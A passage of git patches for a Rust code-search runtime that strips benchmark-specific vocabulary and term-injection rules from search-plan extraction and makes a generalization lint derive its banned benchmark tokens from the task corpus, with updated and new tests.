From be764c79d733e72b9b0996534df0278996c98fb3 Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 02:28:50 -0500 Subject: [PATCH 001/132] derive search-plan terms from the asked question alone Search-plan term extraction injected symbol names, multiword phrases, and role subqueries that the question never contained: SourceGroup, BuildIndex, IndexerCommand, EventProcessor, "exec cli"/"turn start", "collection config"/"comment submission", plus a rule that dropped the words "root" and "runtime" for content-flow questions. Those branches recognised four benchmark prompts, not repository structure, so they could only help the repositories they were written against and silently misdirect every other one. Term extraction, symbol-term ranking, and subquery planning now use the query's own tokens and their shape. Whether a word names a real symbol is answered by the indexed repository through the typed-symbol channel instead of by a noun list in this crate, so prose questions keep that channel without a vocabulary table. Deleting the role catalogue costs the role-named subqueries and the storage surfaces the sourcetrail-style prompt used to pull forward; both were products of the injected vocabulary. Co-Authored-By: Claude Opus 5 --- crates/codestory-runtime/src/search_plan.rs | 77 +---- crates/codestory-runtime/src/search_terms.rs | 263 +-------------- .../codestory-runtime/src/tests/repo_text.rs | 18 +- .../src/tests/search_plan.rs | 318 +++--------------- 4 files changed, 87 insertions(+), 589 deletions(-) diff --git a/crates/codestory-runtime/src/search_plan.rs b/crates/codestory-runtime/src/search_plan.rs index e90c0b958..643a395f7 100644 --- a/crates/codestory-runtime/src/search_plan.rs +++ b/crates/codestory-runtime/src/search_plan.rs @@ -25,8 +25,7 @@ use crate::search_scoring::{ use crate::search_terms::{ SEARCH_PLAN_BASE_SOURCE_TRUTH_CHECKS, SEARCH_PLAN_EXPLICIT_ANCHOR_MARKER, SEARCH_PLAN_MAX_SEED_ANCHORS, SEARCH_PLAN_OPTIONAL_SUBQUERY_LIMIT, - SEARCH_PLAN_REPO_TEXT_SOURCE_TRUTH_CHECK, SEARCH_PLAN_ROLE_SPECS, - SEARCH_PLAN_SEED_ANCHOR_MARKER, SEARCH_PLAN_SYMBOL_TERMS, search_plan_terms, + SEARCH_PLAN_REPO_TEXT_SOURCE_TRUTH_CHECK, SEARCH_PLAN_SEED_ANCHOR_MARKER, search_plan_terms, }; fn is_low_confidence_search_plan_bridge(bridge: &SearchPlanBridgeDto) -> bool { @@ -129,7 +128,6 @@ pub(super) fn search_plan_subqueries( push_search_plan_seed_anchor_subqueries(&mut subqueries, &mut seen, query); push_search_plan_explicit_anchor_subqueries(&mut subqueries, &mut seen, query); push_search_plan_symbol_term_subquery(&mut subqueries, &mut seen, terms); - push_search_plan_role_subqueries(&mut subqueries, &mut seen, terms); push_search_plan_named_anchor_subqueries(&mut subqueries, &mut seen, terms); push_search_plan_fallback_subquery(&mut subqueries, &mut seen, terms); subqueries @@ -206,7 +204,7 @@ pub(super) fn push_search_plan_symbol_term_subquery( seen: &mut HashSet, terms: &SearchPlanTermsDto, ) { - let symbol_terms = sorted_search_plan_symbol_terms(terms); + let symbol_terms = sorted_search_plan_query_terms(terms); if symbol_terms.is_empty() { return; } @@ -232,7 +230,7 @@ pub(super) fn push_search_plan_named_anchor_subqueries( seen: &mut HashSet, terms: &SearchPlanTermsDto, ) { - let symbol_terms = sorted_search_plan_symbol_terms(terms); + let symbol_terms = sorted_search_plan_query_terms(terms); for term in symbol_terms .iter() .filter(|term| search_plan_named_anchor_term(term)) @@ -251,26 +249,18 @@ pub(super) fn push_search_plan_named_anchor_subqueries( } } -pub(super) fn sorted_search_plan_symbol_terms(terms: &SearchPlanTermsDto) -> Vec { - let mut symbol_terms = terms - .extracted - .iter() - .filter(|term| search_plan_symbol_term(term)) - .cloned() - .collect::>(); - symbol_terms.sort_by(|left, right| { +// Every asked term reaches the typed-symbol channel, identifier-shaped terms +// first. Which of them name real symbols is decided by the indexed repository, +// which is the only place that knows; a term vocabulary in this crate can only +// know the repositories it was written against. +pub(super) fn sorted_search_plan_query_terms(terms: &SearchPlanTermsDto) -> Vec { + let mut query_terms = terms.extracted.clone(); + query_terms.sort_by(|left, right| { search_plan_symbol_subquery_term_score(right) .cmp(&search_plan_symbol_subquery_term_score(left)) .then_with(|| left.cmp(right)) }); - symbol_terms -} - -pub(super) fn search_plan_symbol_term(term: &str) -> bool { - term.chars().any(|ch| ch.is_ascii_uppercase()) - || SEARCH_PLAN_SYMBOL_TERMS - .iter() - .any(|symbol_term| term.eq_ignore_ascii_case(symbol_term)) + query_terms } pub(super) fn search_plan_symbol_subquery_term_score(term: &str) -> u32 { @@ -285,12 +275,6 @@ pub(super) fn search_plan_symbol_subquery_term_score(term: &str) -> u32 { if term.contains('_') || term.contains('-') { score += 35; } - if SEARCH_PLAN_SYMBOL_TERMS - .iter() - .any(|symbol_term| term.eq_ignore_ascii_case(symbol_term)) - { - score += 20; - } score } @@ -300,45 +284,6 @@ pub(super) fn search_plan_named_anchor_term(term: &str) -> bool { uppercase_count >= 1 && lowercase_count > 0 && term.len() >= 4 } -pub(super) fn push_search_plan_role_subqueries( - subqueries: &mut Vec, - seen: &mut HashSet, - terms: &SearchPlanTermsDto, -) { - for (role, needles) in SEARCH_PLAN_ROLE_SPECS { - let role_terms = search_plan_matching_terms(terms, needles); - if role_terms.len() >= 2 { - push_search_plan_subquery( - subqueries, - seen, - role_terms.join(" "), - role, - vec![ - SearchPlanChannelDto::TypedSymbol, - SearchPlanChannelDto::Lexical, - SearchPlanChannelDto::RepoText, - ], - ); - } - } -} - -pub(super) fn search_plan_matching_terms( - terms: &SearchPlanTermsDto, - needles: &[&str], -) -> Vec { - terms - .extracted - .iter() - .filter(|term| { - needles - .iter() - .any(|needle| term.eq_ignore_ascii_case(needle)) - }) - .cloned() - .collect() -} - pub(super) fn push_search_plan_fallback_subquery( subqueries: &mut Vec, seen: &mut HashSet, diff --git a/crates/codestory-runtime/src/search_terms.rs b/crates/codestory-runtime/src/search_terms.rs index 0a931ddaf..5da681abe 100644 --- a/crates/codestory-runtime/src/search_terms.rs +++ b/crates/codestory-runtime/src/search_terms.rs @@ -1,5 +1,11 @@ use super::{HashSet, SearchPlanDroppedTermDto, SearchPlanTermsDto}; +// Search-plan terms come from the asked question only. Domain vocabulary, +// inferred symbol names, and repository-specific term expansion belong to the +// indexed repository, not to a table in this crate: a curated vocabulary here +// can only encode the corpora it was written against. +// Stopwords stay language-level: instruction and filler words that carry no +// repository meaning in any repository. pub(super) const SEARCH_PLAN_STOPWORDS: &[&str] = &[ "a", "an", @@ -40,134 +46,16 @@ pub(super) const SEARCH_PLAN_STOPWORDS: &[&str] = &[ "this", "through", "to", - "turns", "what", "where", "which", "why", "with", ]; -pub(super) const SEARCH_PLAN_SYMBOL_TERMS: &[&str] = &[ - "indexer", - "service", - "storage", - "store", - "posts", - "feed", - "auth", - "trail", - "snippet", - "workspace", - "persistence", - "snapshot", -]; pub(super) const SEARCH_PLAN_OPTIONAL_SUBQUERY_LIMIT: usize = 8; pub(super) const SEARCH_PLAN_MAX_SEED_ANCHORS: usize = 32; pub(super) const SEARCH_PLAN_SEED_ANCHOR_MARKER: &str = "Seed anchors:"; pub(super) const SEARCH_PLAN_EXPLICIT_ANCHOR_MARKER: &str = "Anchor the answer around"; -pub(super) const SEARCH_PLAN_ROLE_SPECS: &[(&str, &[&str])] = &[ - ( - "indexing_pipeline", - &["full", "index", "indexing", "indexer", "workspace", "store"], - ), - ( - "build_index_entrypoint", - &["project", "indexing", "build", "index"], - ), - ( - "source_group_configuration", - &[ - "project", - "source-group", - "source", - "group", - "configuration", - ], - ), - ( - "indexing_work", - &["indexing", "indexed", "indexer", "command", "work"], - ), - ( - "storage_access_surface", - &[ - "storage", - "access", - "accessed", - "data", - "application", - "persistence", - ], - ), - ( - "workspace_discovery", - &["workspace", "file", "discovery", "source"], - ), - ( - "symbol_extraction", - &["symbol", "extraction", "indexer", "indexing"], - ), - ( - "runtime_boundary", - &["cli", "runtime", "command", "service"], - ), - ( - "exec_cli_surface", - &["exec", "cli", "json", "subcommand", "runtime"], - ), - ( - "exec_event_output_surface", - &[ - "exec", - "event", - "events", - "json", - "jsonl", - "output", - "event processor", - ], - ), - ( - "read_surface", - &["search", "trail", "snippet", "context", "explore"], - ), - ( - "collection_config_surface", - &[ - "payload", - "collection", - "collections", - "schema", - "hooks", - "access", - "config", - ], - ), - ( - "comment_submission_surface", - &["comments", "comment", "auth", "submission", "guard"], - ), - ( - "public_feed_surface", - &["feed", "rss", "elsewhere", "social", "entries"], - ), - ( - "content_surface", - &["posts", "comments", "auth", "feed", "elsewhere"], - ), - ( - "persistence_surface", - &[ - "storage", - "store", - "persistence", - "payload", - "collection", - "snapshot", - "refresh", - ], - ), -]; pub(super) const SEARCH_PLAN_BASE_SOURCE_TRUTH_CHECKS: &[&str] = &[ "Draft the CodeStory-only answer from selected anchors, bridge status, symbol, trail, and snippet evidence before opening source.", "Open the cited source files after the CodeStory-only draft and classify each claim as correct, partial, misleading, or unsupported.", @@ -233,149 +121,10 @@ pub(super) fn search_plan_terms(query: &str) -> SearchPlanTermsDto { } } } - drop_search_plan_brand_terms_for_content_flow(query, &mut extracted, &mut dropped); - add_search_plan_inferred_architecture_terms( - query, - &mut extracted, - &mut seen, - &mut dropped, - &mut dropped_seen, - ); SearchPlanTermsDto { extracted, dropped } } -pub(super) fn add_search_plan_inferred_architecture_terms( - query: &str, - extracted: &mut Vec, - seen: &mut HashSet, - dropped: &mut Vec, - dropped_seen: &mut HashSet, -) { - let lower = query.to_ascii_lowercase(); - let has_source_group = lower.contains("source-group") - || (search_plan_query_has_token(&lower, "source") - && search_plan_query_has_token(&lower, "group")); - if has_source_group { - add_search_plan_term("SourceGroup", extracted, seen, dropped, dropped_seen); - } - - let has_indexing_work = search_plan_query_has_token(&lower, "indexing") - && (search_plan_query_has_token(&lower, "work") - || search_plan_query_has_token(&lower, "command") - || has_source_group); - if has_indexing_work { - add_search_plan_term("build", extracted, seen, dropped, dropped_seen); - add_search_plan_term("index", extracted, seen, dropped, dropped_seen); - add_search_plan_term("BuildIndex", extracted, seen, dropped, dropped_seen); - add_search_plan_term("indexer", extracted, seen, dropped, dropped_seen); - add_search_plan_term("IndexerCommand", extracted, seen, dropped, dropped_seen); - } - - let has_data_access = search_plan_query_has_token(&lower, "data") - && (search_plan_query_has_token(&lower, "access") - || search_plan_query_has_token(&lower, "accessed")) - && search_plan_query_has_token(&lower, "application"); - if has_data_access { - add_search_plan_term("access", extracted, seen, dropped, dropped_seen); - add_search_plan_term("storage", extracted, seen, dropped, dropped_seen); - add_search_plan_term("persistence", extracted, seen, dropped, dropped_seen); - } - - let has_event_output = search_plan_query_has_token(&lower, "event") - && (search_plan_query_has_token(&lower, "output") - || search_plan_query_has_token(&lower, "notification") - || search_plan_query_has_token(&lower, "notifications") - || search_plan_query_has_token(&lower, "jsonl")); - if has_event_output { - add_search_plan_term("EventProcessor", extracted, seen, dropped, dropped_seen); - } - - if search_plan_query_has_exec_json_flow(&lower) { - for term in [ - "exec cli", - "exec runtime", - "exec session", - "event processor", - "event output", - "thread start", - "turn start", - ] { - add_search_plan_term(term, extracted, seen, dropped, dropped_seen); - } - } - - if search_plan_query_has_payload_content_flow(&lower) { - for term in [ - "content config", - "collection config", - "Posts", - "Comments", - "social entries", - "post page", - "content client", - "comment submission", - "comment auth", - "feed", - ] { - add_search_plan_term(term, extracted, seen, dropped, dropped_seen); - } - } -} - -pub(super) fn search_plan_query_has_exec_json_flow(lower_query: &str) -> bool { - search_plan_query_has_token(lower_query, "exec") - && (search_plan_query_has_token(lower_query, "json") - || search_plan_query_has_token(lower_query, "jsonl")) - && (search_plan_query_has_token(lower_query, "event") - || search_plan_query_has_token(lower_query, "events") - || search_plan_query_has_token(lower_query, "output")) -} - -pub(super) fn search_plan_query_has_token(lower_query: &str, token: &str) -> bool { - lower_query - .split(|ch: char| !ch.is_ascii_alphanumeric()) - .any(|part| part == token) -} - -pub(super) fn search_plan_query_has_payload_content_flow(lower_query: &str) -> bool { - search_plan_query_has_token(lower_query, "payload") - && (search_plan_query_has_token(lower_query, "posts") - || search_plan_query_has_token(lower_query, "post") - || search_plan_query_has_token(lower_query, "writing")) - && (search_plan_query_has_token(lower_query, "comments") - || search_plan_query_has_token(lower_query, "comment") - || search_plan_query_has_token(lower_query, "feed") - || search_plan_query_has_token(lower_query, "rss") - || search_plan_query_has_token(lower_query, "elsewhere") - || search_plan_query_has_token(lower_query, "social")) -} - -pub(super) fn drop_search_plan_brand_terms_for_content_flow( - query: &str, - extracted: &mut Vec, - dropped: &mut Vec, -) { - let lower = query.to_ascii_lowercase(); - if !(search_plan_query_has_payload_content_flow(&lower) - && search_plan_query_has_token(&lower, "root") - && search_plan_query_has_token(&lower, "runtime")) - { - return; - } - - extracted.retain(|term| { - let is_brand = term.eq_ignore_ascii_case("root") || term.eq_ignore_ascii_case("runtime"); - if is_brand { - dropped.push(SearchPlanDroppedTermDto { - term: term.clone(), - reason: "brand_phrase_in_content_flow".to_string(), - }); - } - !is_brand - }); -} - pub(super) fn add_search_plan_term( raw: &str, extracted: &mut Vec, diff --git a/crates/codestory-runtime/src/tests/repo_text.rs b/crates/codestory-runtime/src/tests/repo_text.rs index adbf5f83c..5144c68fa 100644 --- a/crates/codestory-runtime/src/tests/repo_text.rs +++ b/crates/codestory-runtime/src/tests/repo_text.rs @@ -248,9 +248,21 @@ fn architecture_repo_text_window_preserves_non_crate_source_surfaces() { .filter_map(|hit| hit.file_path.as_deref()) .collect::>(); - assert!(paths.contains(&"src/lib_cxx/project/SourceGroupCxxCdb.cpp")); - assert!(paths.contains(&"src/lib/data/storage/StorageAccess.h")); - assert!(paths.contains(&"src/lib/data/storage/StorageAccessProxy.cpp")); + assert!( + paths.contains(&"src/lib_cxx/project/SourceGroupCxxCdb.cpp"), + "a late surface the question named should displace a crowded bucket: {paths:#?}" + ); + // The question never says "storage", so nothing admits a storage surface on + // its behalf; only the words the question used can pull a late hit forward. + for unasked in [ + "src/lib/data/storage/StorageAccess.h", + "src/lib/data/storage/StorageAccessProxy.cpp", + ] { + assert!( + !paths.contains(&unasked), + "unasked surface `{unasked}` should stay out of the window: {paths:#?}" + ); + } assert_eq!(paths.len(), 10); } diff --git a/crates/codestory-runtime/src/tests/search_plan.rs b/crates/codestory-runtime/src/tests/search_plan.rs index 82f3b1479..1eff2e6aa 100644 --- a/crates/codestory-runtime/src/tests/search_plan.rs +++ b/crates/codestory-runtime/src/tests/search_plan.rs @@ -65,103 +65,64 @@ fn broad_architecture_search_plan_terms_and_subqueries_are_bounded() { } #[test] -fn sourcetrail_style_architecture_prompt_expands_flow_roles() { - let query = "Explain how Sourcetrail turns project/source-group configuration into indexing work, then how indexed data is accessed by the application. Cite the source files that support the path."; +fn search_plan_terms_never_name_a_symbol_the_question_did_not() { + for query in [ + "Explain how ProjectForge turns project/source-group configuration into indexing work, then how indexed data is accessed by the application. Cite the source files that support the path.", + "Explain how `forge exec --json` flows from the top-level CLI into the exec runtime, thread and turn start requests, and JSONL event output.", + "Explain how Root & Runtime public writing and social surfaces connect through collections, comment auth, RSS, and the elsewhere feed.", + ] { + let terms = search_plan_terms(query); + let lower = query.to_ascii_lowercase(); + for term in &terms.extracted { + assert!( + lower.contains(&term.to_ascii_lowercase()), + "extracted term `{term}` was never asked for in `{query}`: {:?}", + terms.extracted + ); + } + for dropped in &terms.dropped { + assert!( + lower.contains(&dropped.term.to_ascii_lowercase()), + "dropped term `{}` was never asked for in `{query}`: {:?}", + dropped.term, + terms.dropped + ); + } + } +} + +#[test] +fn content_flow_questions_keep_every_word_the_question_used() { + let query = "Explain how Root & Runtime public writing and social surfaces connect through collections, comment auth, RSS, and the elsewhere feed."; let terms = search_plan_terms(query); - assert!( - terms - .dropped - .iter() - .any(|term| term.term.eq_ignore_ascii_case("cite")), - "citation instruction should not become a named anchor: {:?}", - terms.dropped - ); for expected in [ - "BuildIndex", - "SourceGroup", - "IndexerCommand", - "build", - "index", - "storage", - "persistence", + "root", + "runtime", + "collections", + "comment", + "auth", + "elsewhere", + "feed", ] { assert!( terms .extracted .iter() .any(|term| term.eq_ignore_ascii_case(expected)), - "expected inferred architecture term `{expected}` in {:?}", + "asked term `{expected}` should survive extraction: {:?}", terms.extracted ); } - - let intents = architecture_query_intents(query) - .into_iter() - .map(|intent| intent.label().to_string()) - .collect::>(); - assert!(!intents.is_empty(), "query should have architecture intent"); - - let subqueries = search_plan_subqueries(query, &terms, &intents); - assert!( - !subqueries - .iter() - .any(|subquery| subquery.role == "named_anchor" && subquery.query == "Cite"), - "generic citation wording should not consume a named-anchor slot: {subqueries:#?}" - ); - for expected_role in [ - "build_index_entrypoint", - "source_group_configuration", - "indexing_work", - "storage_access_surface", - ] { - assert!( - subqueries - .iter() - .any(|subquery| subquery.role == expected_role), - "expected role subquery `{expected_role}` in {subqueries:#?}" - ); - } - let typed_anchor_terms = subqueries - .iter() - .find(|subquery| subquery.role == "typed_anchor_terms") - .map(|subquery| subquery.query.as_str()) - .expect("typed anchor terms"); - for expected in ["BuildIndex", "SourceGroup", "IndexerCommand"] { + for dropped in &terms.dropped { assert!( - typed_anchor_terms.contains(expected), - "typed anchor terms should contain `{expected}`, got `{typed_anchor_terms}`" + ["too_short", "natural_language_filler"].contains(&dropped.reason.as_str()), + "terms may only be dropped for length or filler, got `{}` for `{}`", + dropped.reason, + dropped.term ); } } -#[test] -fn event_output_architecture_prompt_expands_processor_abstraction() { - let query = "Explain how codex exec --json flows from the top-level CLI into the exec runtime, app-server thread and turn start requests, and JSONL event output."; - let terms = search_plan_terms(query); - assert!( - terms.extracted.iter().any(|term| term == "EventProcessor"), - "event-output architecture prompt should infer source-truth abstraction: {:?}", - terms.extracted - ); - - let intents = architecture_query_intents(query) - .into_iter() - .map(|intent| intent.label().to_string()) - .collect::>(); - assert!(!intents.is_empty(), "query should have architecture intent"); - - let subqueries = search_plan_subqueries(query, &terms, &intents); - let typed_anchor_terms = subqueries - .iter() - .find(|subquery| subquery.role == "typed_anchor_terms") - .map(|subquery| subquery.query.as_str()) - .expect("typed anchor terms"); - assert!( - typed_anchor_terms.contains("EventProcessor"), - "typed anchor terms should include EventProcessor, got `{typed_anchor_terms}`" - ); -} - #[test] fn multi_anchor_agent_question_prioritizes_named_anchor_subquery_terms() { let query = "Explain how ProjectAlpha turns configuration into processing work, then how processed data is accessed by the application. Anchor the answer around ConfigGroup, WorkerRunner, and DataAccess."; @@ -237,20 +198,18 @@ fn broad_explain_how_search_plan_survives_generic_exact_hits() { "generic exact hits such as CLI should not suppress broad architecture search plans" ); let terms = search_plan_terms(query); - let roles = search_plan_subqueries(query, &terms, &intents) - .into_iter() - .map(|subquery| subquery.role) + let subqueries = search_plan_subqueries(query, &terms, &intents); + let roles = subqueries + .iter() + .map(|subquery| subquery.role.as_str()) .collect::>(); - for expected in [ - "workspace_discovery", - "symbol_extraction", - "persistence_surface", - ] { - assert!( - roles.iter().any(|role| role == expected), - "broad explain-how prompt should expand architecture role `{expected}`: {roles:#?}" - ); - } + // A prompt that names no identifier still gets the asked question plus its + // own words as repo text; it does not get roles a term catalog invented. + assert_eq!( + roles, + vec!["original_question", "typed_anchor_terms", "repo_text_terms"], + "broad explain-how prompt should plan from its own words: {subqueries:#?}" + ); let ordinary_exact_query = "Explain how run_index RuntimeContext::ensure_open_from_summary moves through runtime."; @@ -293,7 +252,7 @@ fn search_plan_preserves_seed_anchor_line_exactly() { #[test] fn public_surface_question_keeps_short_pascal_case_named_anchor() { - let query = "Explain how public writing/social surfaces connect to Payload collections, comment auth, and the elsewhere feed. Anchor the answer around Posts, getElsewhereFeed, and getCommentAuth."; + let query = "Explain how public writing/social surfaces connect to content collections, comment auth, and the elsewhere feed. Anchor the answer around Notes, getElsewhereFeed, and getCommentAuth."; let intents = architecture_query_intents(query) .into_iter() .map(|intent| intent.label().to_string()) @@ -302,7 +261,7 @@ fn public_surface_question_keeps_short_pascal_case_named_anchor() { let terms = search_plan_terms(query); let subqueries = search_plan_subqueries(query, &terms, &intents); - for expected in ["Posts", "getElsewhereFeed", "getCommentAuth"] { + for expected in ["Notes", "getElsewhereFeed", "getCommentAuth"] { assert!( subqueries .iter() @@ -312,173 +271,6 @@ fn public_surface_question_keeps_short_pascal_case_named_anchor() { } } -#[test] -fn payload_content_flow_prompt_expands_source_truth_anchors() { - let query = "Explain how Root & Runtime public writing and social surfaces connect through Payload collections, post rendering, comment auth/submission, RSS, and the Elsewhere feed. Cite the source files that support the path."; - let terms = search_plan_terms(query); - for noisy in ["root", "runtime"] { - assert!( - !terms - .extracted - .iter() - .any(|term| term.eq_ignore_ascii_case(noisy)), - "brand phrase term `{noisy}` should not dominate Payload content-flow search: {:?}", - terms.extracted - ); - assert!( - terms - .dropped - .iter() - .any(|term| term.term.eq_ignore_ascii_case(noisy) - && term.reason == "brand_phrase_in_content_flow"), - "brand phrase term `{noisy}` should be explained as dropped: {:?}", - terms.dropped - ); - } - for expected in [ - "content config", - "collection config", - "Posts", - "Comments", - "social entries", - "post page", - "content client", - "comment submission", - "comment auth", - "feed", - ] { - assert!( - terms - .extracted - .iter() - .any(|term| term.eq_ignore_ascii_case(expected)), - "expected Payload content-flow term `{expected}` in {:?}", - terms.extracted - ); - } - - let intents = architecture_query_intents(query) - .into_iter() - .map(|intent| intent.label().to_string()) - .collect::>(); - assert!(!intents.is_empty(), "query should have architecture intent"); - - let subqueries = search_plan_subqueries(query, &terms, &intents); - let typed_anchor_terms = subqueries - .iter() - .find(|subquery| subquery.role == "typed_anchor_terms") - .map(|subquery| subquery.query.as_str()) - .expect("typed anchor terms"); - for expected in ["Posts", "Comments", "feed"] { - assert!( - typed_anchor_terms.contains(expected), - "typed anchor terms should include `{expected}`, got `{typed_anchor_terms}`" - ); - } - assert!( - subqueries.iter().any(|subquery| { - subquery.role == "content_surface" - && subquery.query.to_ascii_lowercase().contains("comments") - }), - "content role subquery should preserve comment wording: {subqueries:#?}" - ); - for expected_role in [ - "collection_config_surface", - "comment_submission_surface", - "public_feed_surface", - ] { - assert!( - subqueries - .iter() - .any(|subquery| subquery.role == expected_role), - "expected role subquery `{expected_role}` in {subqueries:#?}" - ); - } - let comment_role_query = subqueries - .iter() - .find(|subquery| subquery.role == "comment_submission_surface") - .map(|subquery| subquery.query.to_ascii_lowercase()) - .expect("comment submission role query"); - for expected in ["comment", "auth", "submission"] { - assert!( - comment_role_query.contains(expected), - "comment role query should contain `{expected}`, got `{comment_role_query}`" - ); - } -} - -#[test] -fn codex_exec_json_prompt_expands_source_truth_anchors() { - let query = "Explain how `codex exec --json` flows from the top-level CLI into the exec runtime, app-server thread and turn start requests, and JSONL event output. Cite the source files that support the path."; - let terms = search_plan_terms(query); - for expected in [ - "EventProcessor", - "exec cli", - "exec runtime", - "exec session", - "event processor", - "event output", - "thread start", - "turn start", - ] { - assert!( - terms - .extracted - .iter() - .any(|term| term.eq_ignore_ascii_case(expected)), - "expected Codex exec-flow term `{expected}` in {:?}", - terms.extracted - ); - } - - let intents = architecture_query_intents(query) - .into_iter() - .map(|intent| intent.label().to_string()) - .collect::>(); - assert!(!intents.is_empty(), "query should have architecture intent"); - - let subqueries = search_plan_subqueries(query, &terms, &intents); - let typed_anchor_terms = subqueries - .iter() - .find(|subquery| subquery.role == "typed_anchor_terms") - .map(|subquery| subquery.query.as_str()) - .expect("typed anchor terms"); - assert!( - typed_anchor_terms.contains("EventProcessor"), - "typed anchor terms should include EventProcessor, got `{typed_anchor_terms}`" - ); - for expected_role in ["exec_cli_surface", "exec_event_output_surface"] { - assert!( - subqueries - .iter() - .any(|subquery| subquery.role == expected_role), - "expected role subquery `{expected_role}` in {subqueries:#?}" - ); - } - let exec_cli_query = subqueries - .iter() - .find(|subquery| subquery.role == "exec_cli_surface") - .map(|subquery| subquery.query.to_ascii_lowercase()) - .expect("exec CLI role query"); - for expected in ["exec", "cli", "runtime"] { - assert!( - exec_cli_query.contains(expected), - "exec CLI role query should contain `{expected}`, got `{exec_cli_query}`" - ); - } - let event_output_query = subqueries - .iter() - .find(|subquery| subquery.role == "exec_event_output_surface") - .map(|subquery| subquery.query.to_ascii_lowercase()) - .expect("event output role query"); - for expected in ["event", "output", "processor"] { - assert!( - event_output_query.contains(expected), - "event-output role query should contain `{expected}`, got `{event_output_query}`" - ); - } -} - #[test] fn architecture_cross_source_coverage_promotes_concrete_role_representatives() { let query = "Explain how Sourcetrail turns project/source-group configuration into indexing work, then how indexed data is accessed by the application."; From 23ece3df07470ce94b066a1f77786d2891ca4597 Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 03:10:20 -0500 Subject: [PATCH 002/132] derive the generalization lint's banned corpus tokens The lint carried ~90 hand-written holdout literals. A hand list only bans what someone remembered to add: it still held repositories the benchmark harness dropped long ago, and production had drifted into spellings just outside it ("isBlank" beside a banned "StringUtils", "addRoute" beside a banned "Engine.addRoute"). Adding a benchmark task extended the corpus but not the ban. Banned tokens now come from the corpus itself on every run: repository names and URL slugs, task ids, prompts, claims, expected symbols with their qualified segments, expected files with their path windows, and the fixture file names under benchmarks/tasks. A task manifest added tomorrow bans its own repository tomorrow, and a family that produces no marker at all fails the lint rather than disappearing from it. Markers stay off the product's own names: a task that runs against this repository contributes its prompt, not the symbols we have to keep writing. Deriving honestly means the lint now sees benchmark-family steering that the hand list stepped around. Those surfaces belong to the packet-code deletions and cannot be tuned away here, so they are inventoried in scripts/retrieval-generalization-pending.json, counted in the lint's own output, and fail again once they stop matching, which forces the entry out with the code. Everything outside the inventory fails immediately. Search-plan term extraction joins the scan by name, and the lexical index no longer drops the token "codex" from backticked query fragments: that filter existed for one benchmark prompt. Co-Authored-By: Claude Opus 5 --- .../codestory-retrieval/src/lexical_index.rs | 5 +- .../tests/retrieval_generalization_guard.rs | 94 +++ docs/testing/performance-review-playbook.md | 10 + scripts/lint-retrieval-generalization.mjs | 639 ++++++++++++------ scripts/retrieval-generalization-pending.json | 171 +++++ 5 files changed, 727 insertions(+), 192 deletions(-) create mode 100644 scripts/retrieval-generalization-pending.json diff --git a/crates/codestory-retrieval/src/lexical_index.rs b/crates/codestory-retrieval/src/lexical_index.rs index 2f1f7144c..2cb6b0c0f 100644 --- a/crates/codestory-retrieval/src/lexical_index.rs +++ b/crates/codestory-retrieval/src/lexical_index.rs @@ -1078,10 +1078,7 @@ fn command_query_tokens(query: &str) -> Vec { for character in query.chars() { if character == '`' { if in_backticks { - for token in lexical_query_tokens(¤t) - .into_iter() - .filter(|token| token != "codex") - { + for token in lexical_query_tokens(¤t) { if !tokens.iter().any(|existing| existing == &token) { tokens.push(token); } diff --git a/crates/codestory-runtime/tests/retrieval_generalization_guard.rs b/crates/codestory-runtime/tests/retrieval_generalization_guard.rs index 2633dd92c..c4ce0a353 100644 --- a/crates/codestory-runtime/tests/retrieval_generalization_guard.rs +++ b/crates/codestory-runtime/tests/retrieval_generalization_guard.rs @@ -811,3 +811,97 @@ fn linter_scans_production_files_with_diagnostic_or_test_like_names() { ); } } + +/// Removes a probe manifest from the checked-in corpus even if the test panics. +struct ProbeManifest { + path: PathBuf, +} + +impl ProbeManifest { + fn write(repo_root: &Path, symbol: &str) -> Self { + let path = repo_root.join("benchmarks/tasks/generalization-lint-probe.task.json"); + let manifest = format!( + r#"{{ + "id": "generalization-lint-probe", + "version": 1, + "suite": "public-core", + "task_class": "architecture_explanation", + "repo": {{ + "name": "generalization-lint-probe-repo", + "url": "https://github.com/example/generalization-lint-probe.git", + "ref": "{ref_sha}" + }}, + "prompt": "Explain how the probe repository moves a request into its own storage layer.", + "expected_files": ["src/probe/generalization_probe_surface.ts"], + "expected_symbols": [ + {{ "name": "{symbol}", "path": "src/probe/generalization_probe_surface.ts" }} + ], + "expected_claims": [{{ "text": "The probe repository owns its own request path." }}], + "forbidden_claims": [], + "quality_thresholds": {{ + "min_expected_anchor_recall": 0.8, + "min_expected_file_recall": 0.8, + "min_expected_symbol_recall": 0.8, + "min_expected_claim_recall": 0.8, + "min_citation_coverage": 0.8, + "max_forbidden_claims": 0 + }} +}} +"#, + ref_sha = "0".repeat(40), + symbol = symbol, + ); + std::fs::write(&path, manifest).expect("write probe manifest"); + Self { path } + } +} + +impl Drop for ProbeManifest { + fn drop(&mut self) { + let _ = std::fs::remove_file(&self.path); + } +} + +#[test] +fn adding_a_benchmark_task_bans_its_symbols_without_editing_the_lint() { + let fixture = r#"pub const PLANTED: &str = "GeneralizationProbeAnchor";"#; + let before = run_lint_with_fixture(fixture); + assert!( + before.status.success(), + "the probe symbol should be unknown before its task manifest exists, stderr={}", + String::from_utf8_lossy(&before.stderr) + ); + + let _manifest = ProbeManifest::write(&workspace_root(), "GeneralizationProbeAnchor"); + let after = run_lint_with_fixture(fixture); + let stderr = String::from_utf8_lossy(&after.stderr); + assert!( + !after.status.success(), + "a new task manifest should extend the ban on its own, stderr={stderr}" + ); + assert!( + stderr.contains("GeneralizationProbeAnchor"), + "lint should report the symbol the new manifest introduced, stderr={stderr}" + ); +} + +#[test] +fn linter_bans_holdout_repository_names_on_identifier_boundaries() { + let leaked = run_lint_with_fixture(r#"pub const PLANTED: &str = "swr cache key";"#); + let leaked_stderr = String::from_utf8_lossy(&leaked.stderr); + assert!( + !leaked.status.success(), + "a holdout repository name should fail lint, stderr={leaked_stderr}" + ); + assert!( + leaked_stderr.contains("swr"), + "lint should report the holdout repository name, stderr={leaked_stderr}" + ); + + let unrelated = run_lint_with_fixture(r#"pub const PROSE: &str = "answers welcome";"#); + assert!( + unrelated.status.success(), + "a repository name must not match inside ordinary words, stderr={}", + String::from_utf8_lossy(&unrelated.stderr) + ); +} diff --git a/docs/testing/performance-review-playbook.md b/docs/testing/performance-review-playbook.md index ea39284c1..a52dbbd19 100644 --- a/docs/testing/performance-review-playbook.md +++ b/docs/testing/performance-review-playbook.md @@ -280,6 +280,16 @@ paths, and adjacent/split 